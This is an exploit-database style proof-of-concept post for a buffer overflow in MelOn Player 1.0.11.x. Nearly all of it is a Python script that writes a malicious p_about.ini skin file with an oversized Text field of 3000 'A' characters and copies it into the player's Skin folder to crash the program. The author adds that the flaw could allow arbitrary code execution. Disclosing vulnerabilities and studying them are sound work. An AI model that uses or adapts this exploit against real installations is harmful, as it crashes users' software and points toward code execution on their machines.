MelOn Player 1.0.11.x – Denial of Service (PoC)
# Exploit Title: MelOn Player 1.0.11.x Denial of Service POC # Date: 09/09/2011 # Author: modpr0be # Software Link: http://www.melon.co.id/cs/guide/download/player.do # Vulnerable version: 1.0.11.x # Tested on: Windows XP SP3 (VirtualBox 4.1.0 r73009) # CVE : N/A # Thanks: offsec, exploit-db, corelan-team, 5M7X, loneferret, mr_me, _sinner #### Software description: # Melon Player is a famous software in Indonesia to play songs that are provided by # the Melon portal (http://www.melon.co.id). This software can play any music # file types such as mp3, wav, wma, mp4, and others. This player can also play # the files on your local computer or by online streaming to the portal Melon. # The songs can also be downloaded to your local computer. # #### Vulnerable information: # The main program (IDMelonPlayer.exe) suffers from a buffer overflow vulnerability # when opening p_about.ini file (Note: Actually, p_about.ini is a configuration file # as part of skin template. This file will bring the program information and can be # accessed on the menu (Menu → Information)), as a result of adding extra bytes to # parts of the file (Text section), giving the attackers possibility to run an arbitrary # code execution on the system that install Melon Player. # ### Some Conditions: # This is just the POC, it will just crash the program. # and it's unicode ;) # ## #!/usr/bin/python import os,sys,shutil,time header=("""[MAIN] MainStyle=SKIN Resize=NO Mask=YES BGStyle=IMAGE DefSize=0,0,427,136 Image=skin.bmp Button=2 Slider= Static=1 Text=4 Edit= Combo= [MAINBG] TopLeft=145,389,6,21 TopCenter=153,389,11,21 TopRight=166,389,6,21 MiddleLeft=145,412,6,21 MiddleCenter=153,412,11,21 MiddleRight=166,412,6,21 BottomLeft=145,435,6,34 BottomCenter=153,435,11,34 BottomRight=166,435,6,34 [MAINMASK] TopLeft=174,389,10,10 TopCenter=185,389,10,10 TopRight=196,389,10,10 MiddleLeft=185,389,10,10 MiddleCenter=185,389,10,10 MiddleRight=185,389,10,10 BottomLeft=174,400,10,10 BottomCenter=185,389,10,10 BottomRight=196,400,10,10 [BUTTON_1] Name=?? ID=1001 ResizeStyle=TOP_LEFT Tooltip= CheckBox=FALSE Position=410,4,13,13 NormalRect=223,389,13,13 OverRect=238,389,13,13 DownRect=253,389,13,13 DisabledRect=223,389,13,13 MaskRect=2000,0,13,13 [BUTTON_2] Name=?? ID=1002 ResizeStyle=TOP_LEFT Tooltip= CheckBox=FALSE Position=173,105,80,20 NormalRect=0,763,80,20 OverRect=0,763,80,20 DownRect=81,763,80,20 DisabledRect=162,763,80,20 MaskRect=2000,0,80,20 [STATIC_1] Name=???_?? ID=2001 Position=20,31,72,84 TopLeft=14,478,72,84 TopCenter= TopRight= MiddleLeft= MiddleCenter= MiddleRight= BottomLeft= BottomCenter= BottomRight= [TEXT_1] Name=popup Name sdw ID=3701 Position=2,2,420,14 Text=MelOn Player Font=Arial FontSize=12 FontBold= Align=CENTER FontColor=0,0,0 """) footer=(""" [TEXT_3] Name=???? ID=3703 Position=104,50,243,14 Text=Melon Player Version 1.0.0.101102 Font=Arial FontSize=12 FontBold= Align= FontColor=0,0,0 [TEXT_4] Name=Copyright ID=3704 Position=104,72,303,14 Text=Copyright PT. Melon Indonesia. All Right Reserved. Font=Arial FontSize=12 FontBold= Align= FontColor=0,0,0 """) filename="p_about.ini" splash=os.path.abspath(filename) skindir="C:\Program Files\MelonPlayerID\Skin" junk = "A" * 3000 buggy=(""" [TEXT_2] Name=popup Name ID=3702 Position=3,3,420,14 Text="""+junk+ """ Font=Arial FontSize=12 FontBold= Align=CENTER FontColor=170,170,170\r\n""") banner=(""" [*] MelOnPlayer 1.0.11.x Denial of Service POC [*] modpr0be[at]spentera[dot]com. [*] thanks a lot: cyb3r.anbu | otoy :) ===================================================== """) file=open(filename,'w') if os.name == 'nt': if os.path.isdir(skindir): try: file.write(header+buggy+footer) print banner print "[*] Creating the malicious .ini file.." time.sleep(2) print "[*] Malicious file (POC)",filename,"created.." print "[*] Path:",splash file.close() shutil.copy2(splash,skindir) print "[*] File",filename,"has been copied to",skindir except IOError: print "[-] Could not write to destination folder, check permission.." sys.exit() else: print "[-] Could not find Skin directory, is MelOn Player installed?" sys.exit() else: print "[-] Please run this script on Windows." sys.exit() |